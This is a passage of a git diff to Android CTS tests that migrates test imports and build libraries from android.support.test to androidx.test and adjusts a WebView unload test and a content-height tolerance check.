diff --git a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
index 8dfacf1..6b46cc2 100644
--- a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
+++ b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
@@ -25,10 +25,6 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.RippleDrawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
@@ -36,6 +32,11 @@
import android.widget.LinearLayout;
import android.widget.ListView;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
index 653d1ed..5b2395b 100644
--- a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
+++ b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
@@ -25,17 +25,18 @@
import android.app.Activity;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.FrameLayout;
import android.widget.LinearLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/View_IdsTest.java b/tests/tests/view/src/android/view/cts/View_IdsTest.java
index 200966b..94615d1 100644
--- a/tests/tests/view/src/android/view/cts/View_IdsTest.java
+++ b/tests/tests/view/src/android/view/cts/View_IdsTest.java
@@ -21,14 +21,15 @@
import static org.junit.Assert.assertSame;
import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/View_InitialFocusTest.java b/tests/tests/view/src/android/view/cts/View_InitialFocusTest.java
index 45fd8fa..1a05496 100644
--- a/tests/tests/view/src/android/view/cts/View_InitialFocusTest.java
+++ b/tests/tests/view/src/android/view/cts/View_InitialFocusTest.java
@@ -24,15 +24,16 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Assume;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java b/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java
index 833504e..a32ce59 100644
--- a/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java
+++ b/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java
@@ -20,12 +20,13 @@
import android.app.Activity;
import android.graphics.Rect;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java b/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java
index cf97e37..08b5aa8 100644
--- a/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java
+++ b/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java
@@ -18,11 +18,12 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.View.MeasureSpec;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java b/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
index dd731cc..83872ec 100644
--- a/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
+++ b/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
@@ -37,11 +37,6 @@
import android.app.Instrumentation;
import android.graphics.Bitmap;
import android.graphics.Color;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
@@ -49,6 +44,12 @@
import android.widget.RelativeLayout;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java b/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java
index 1e31b11..340b7e4 100644
--- a/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.WindowManager.BadTokenException;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java b/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java
index b829470..22f4386 100644
--- a/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java
@@ -26,12 +26,13 @@
import android.os.Binder;
import android.os.IBinder;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.SpannedString;
import android.view.Gravity;
import android.view.WindowManager;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/WindowTest.java b/tests/tests/view/src/android/view/cts/WindowTest.java
index 94b3ceb..84b5caa 100644
--- a/tests/tests/view/src/android/view/cts/WindowTest.java
+++ b/tests/tests/view/src/android/view/cts/WindowTest.java
@@ -47,11 +47,6 @@
import android.os.Bundle;
import android.os.Handler;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.ContextThemeWrapper;
@@ -72,6 +67,12 @@
import android.widget.Button;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.After;
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
index ce5ab6e..f1838e2 100644
--- a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -33,7 +33,6 @@
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
@@ -47,10 +46,11 @@
import android.view.cts.R;
import android.widget.FrameLayout;
+import androidx.test.InstrumentationRegistry;
+
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-
public class CapturedActivity extends Activity {
public static class TestResult {
public int passFrames;
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index 83481ee..af90300 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -23,9 +23,6 @@
import static org.mockito.Mockito.mock;
import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.textclassifier.SelectionEvent;
import android.view.textclassifier.TextClassification;
import android.view.textclassifier.TextClassificationContext;
@@ -34,6 +31,10 @@
import android.view.textclassifier.TextLinks;
import android.view.textclassifier.TextSelection;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
index fda0f90..d5b73ac 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
@@ -29,14 +29,15 @@
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Icon;
import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.textclassifier.TextClassification;
import android.view.textclassifier.TextClassifier;
import android.view.textclassifier.TextSelection;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/voiceinteraction/Android.mk b/tests/tests/voiceinteraction/Android.mk
index e0708ff..2af5e9f 100644
--- a/tests/tests/voiceinteraction/Android.mk
+++ b/tests/tests/voiceinteraction/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/voiceinteraction/AndroidManifest.xml b/tests/tests/voiceinteraction/AndroidManifest.xml
index b38909b..5d7c00f 100644
--- a/tests/tests/voiceinteraction/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/AndroidManifest.xml
@@ -43,7 +43,7 @@
android:exported="true" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.voiceinteraction.cts"
android:label="CTS tests of android.voiceinteraction">
<meta-data android:name="listener"
diff --git a/tests/tests/voiceinteraction/service/Android.mk b/tests/tests/voiceinteraction/service/Android.mk
index 0b504d8..f19cf74 100644
--- a/tests/tests/voiceinteraction/service/Android.mk
+++ b/tests/tests/voiceinteraction/service/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner-axt compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/voicesettings/Android.mk b/tests/tests/voicesettings/Android.mk
index 9409073..f81afaa 100644
--- a/tests/tests/voicesettings/Android.mk
+++ b/tests/tests/voicesettings/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/voicesettings/AndroidManifest.xml b/tests/tests/voicesettings/AndroidManifest.xml
index cf1fa1a..5ea6a84 100644
--- a/tests/tests/voicesettings/AndroidManifest.xml
+++ b/tests/tests/voicesettings/AndroidManifest.xml
@@ -35,7 +35,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.voicesettings.cts"
android:label="CTS tests of android.voicesettings">
<meta-data android:name="listener"
diff --git a/tests/tests/voicesettings/service/Android.mk b/tests/tests/voicesettings/service/Android.mk
index d53c52b..0d86bf8 100644
--- a/tests/tests/voicesettings/service/Android.mk
+++ b/tests/tests/voicesettings/service/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/webkit/Android.mk b/tests/tests/webkit/Android.mk
index bb70293..76231b0 100644
--- a/tests/tests/webkit/Android.mk
+++ b/tests/tests/webkit/Android.mk
@@ -28,10 +28,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctsdeviceutillegacy \
+ compatibility-device-util-axt \
+ ctsdeviceutillegacy-axt \
ctstestserver \
- ctstestrunner
+ ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index 21e116d..aa35162 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml
@@ -71,7 +71,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.webkit.cts"
android:label="CTS tests of android.webkit">
<meta-data android:name="listener"
diff --git a/tests/tests/webkit/assets/webkit/jsunload.html b/tests/tests/webkit/assets/webkit/jsunload.html
index 9932ae1..593ecc9 100644
--- a/tests/tests/webkit/assets/webkit/jsunload.html
+++ b/tests/tests/webkit/assets/webkit/jsunload.html
@@ -23,11 +23,8 @@
}
window.onbeforeunload = fireUnload;
window.onload = function() {
- document.addEventListener("touchend", function() {
- setTimeout(() => {
- document.title = "touch received";
- }, 0);
- }, false);
+ document.addEventListener("click", () => document.title = "touch received", false);
+ document.title = "listener added";
}
</script>
<body>
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 60c9d25..fb66261 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -33,12 +33,16 @@
import com.android.compatibility.common.util.PollingCheck;
import com.google.common.util.concurrent.SettableFuture;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
public class WebChromeClientTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
private static final long TEST_TIMEOUT = 5000L;
+ private static final String JAVASCRIPT_UNLOAD = "javascript unload";
+ private static final String LISTENER_ADDED = "listener added";
private static final String TOUCH_RECEIVED = "touch received";
private CtsTestServer mWebServer;
@@ -213,26 +217,17 @@
return;
}
- // Use a default WebChromeClient to listen first page title change.
- final MockWebChromeClient webChromeClient = new MockWebChromeClient();
- mOnUiThread.setWebChromeClient(webChromeClient);
-
final WebSettings settings = mOnUiThread.getSettings();
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
- assertFalse(webChromeClient.hadOnJsBeforeUnload());
-
- mOnUiThread.loadUrlAndWaitForCompletion(
- mWebServer.getAssetUrl(TestHtmlConstants.JS_UNLOAD_URL));
-
- final SettableFuture<String> pageTitleFuture = SettableFuture.create();
+ final BlockingQueue<String> pageTitleQueue = new ArrayBlockingQueue<>(3);
final SettableFuture<Void> onJsBeforeUnloadFuture = SettableFuture.create();
final MockWebChromeClient webChromeClientWaitTitle = new MockWebChromeClient() {
@Override
public void onReceivedTitle(WebView view, String title) {
super.onReceivedTitle(view, title);
- pageTitleFuture.set(title);
+ pageTitleQueue.add(title);
}
@Override
@@ -245,9 +240,14 @@
};
mOnUiThread.setWebChromeClient(webChromeClientWaitTitle);
+ mOnUiThread.loadUrlAndWaitForCompletion(
+ mWebServer.getAssetUrl(TestHtmlConstants.JS_UNLOAD_URL));
+
+ assertEquals(JAVASCRIPT_UNLOAD, pageTitleQueue.poll(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ assertEquals(LISTENER_ADDED, pageTitleQueue.poll(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
// Send a user gesture, required for unload to execute since WebView version 60.
tapWebView();
- assertEquals(TOUCH_RECEIVED, waitForFuture(pageTitleFuture));
+ assertEquals(TOUCH_RECEIVED, pageTitleQueue.poll(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
// unload should trigger when we try to navigate away
mOnUiThread.loadUrlAndWaitForCompletion(
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index f5f3139..14dd431 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1781,10 +1781,30 @@
&& mOnUiThread.getHeight() != 0;
}
}.run();
- assertEquals(mOnUiThread.getHeight(),
- mOnUiThread.getContentHeight() * mOnUiThread.getScale(), 2f);
- final int pageHeight = 600;
+ final int tolerance = 2;
+ // getHeight() returns physical pixels and it is from web contents' size, getContentHeight()
+ // returns CSS pixels and it is from compositor. In order to compare these two values, we
+ // need to scale getContentHeight() by the device scale factor. This also amplifies any
+ // rounding errors. Internally, getHeight() could also have rounding error first and then
+ // times device scale factor, so we are comparing two rounded numbers below.
+ // We allow 2 * getScale() as the delta, because getHeight() and getContentHeight() may
+ // use different rounding algorithms and the results are from different computation
+ // sequences. The extreme case is that in CSS pixel we have 2 as differences (0.9999 rounded
+ // down and 1.0001 rounded up), therefore we ended with 2 * getScale().
+ assertEquals(
+ mOnUiThread.getHeight(),
+ mOnUiThread.getContentHeight() * mOnUiThread.getScale(),
+ tolerance * mOnUiThread.getScale());
+
+ // Make pageHeight bigger than the larger dimension of the device, so the page is taller
+ // than viewport. Because when layout_height set to match_parent, getContentHeight() will
+ // give maximum value between the actual web content height and the viewport height. When
+ // viewport height is bigger, |extraSpace| below is not the extra space on the web page.
+ // Note that we are passing physical pixels rather than CSS pixels here, since screen
+ // density scale is generally greater than 1, it only makes the page content taller.
+ DisplayMetrics metrics = mOnUiThread.getDisplayMetrics();
+ final int pageHeight = Math.max(metrics.widthPixels, metrics.heightPixels);
// set the margin to 0
final String p = "<p style=\"height:" + pageHeight
+ "px;margin:0px auto;\">Get the height of HTML content.</p>";
@@ -1803,7 +1823,13 @@
new PollingCheck() {
@Override
protected boolean check() {
- return pageHeight + pageHeight + extraSpace == mOnUiThread.getContentHeight();
+ // |pageHeight| is accurate, |extraSpace| = getContentheight() - |pageHeight|, so it
+ // might have rounding error +-1, also getContentHeight() might have rounding error
+ // +-1, so we allow error 2. Note that |pageHeight|, |extraSpace| and
+ // getContentHeight() are all CSS pixels.
+ final int expectedContentHeight = pageHeight + pageHeight + extraSpace;
+ return Math.abs(expectedContentHeight - mOnUiThread.getContentHeight())
+ <= tolerance;
}
}.run();
}
diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
index 66473af..6020890 100644
--- a/tests/tests/widget/Android.mk
+++ b/tests/tests/widget/Android.mk
@@ -23,11 +23,11 @@
LOCAL_STATIC_JAVA_LIBRARIES += \
androidx.annotation_annotation \
- android-support-test \
+ androidx.test.rules \
mockito-target-minus-junit4 \
android-common \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
platform-test-annotations
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 80e65f7..1a1b044 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -612,7 +612,7 @@
android:exported="false" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.widget.cts"
android:label="CTS tests of android.widget">
<meta-data android:name="listener"
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index 49b0f64..c7bd527 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -47,13 +47,6 @@
import android.graphics.Color;
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.SpannableStringBuilder;
import android.text.TextUtils;
@@ -75,6 +68,14 @@
import android.widget.cts.util.TestUtils;
import android.widget.cts.util.TestUtilsMatchers;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java
index 3bb7d55..ce1123a 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java
@@ -19,14 +19,15 @@
import static org.junit.Assert.assertEquals;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.widget.AbsListView;
import android.widget.AbsListView.LayoutParams;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
index ee6dc39..125aea0 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
@@ -24,11 +24,6 @@
import android.app.Instrumentation;
import android.content.Context;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.Suppress;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewConfiguration;
@@ -40,6 +35,12 @@
import android.widget.ListView;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.Suppress;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.CtsTouchUtils.EventInjectionListener;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java b/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
index 83014b9..7ec074a 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
@@ -34,17 +34,18 @@
import android.graphics.PorterDuff;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.widget.AbsSeekBar;
import android.widget.SeekBar;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java b/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java
index 36f56a1..2c75fa3 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java
@@ -26,10 +26,6 @@
import android.database.DataSetObserver;
import android.graphics.Rect;
import android.os.Parcelable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -42,6 +38,11 @@
import android.widget.Spinner;
import android.widget.SpinnerAdapter;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java b/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java
index 924da09..0a1db01 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java
@@ -23,16 +23,17 @@
import android.app.Activity;
import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.ViewGroup;
import android.widget.AbsoluteLayout;
import android.widget.AbsoluteLayout.LayoutParams;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java
index 0faa547..fe7171a 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java
@@ -20,14 +20,15 @@
import static org.junit.Assert.assertNotNull;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
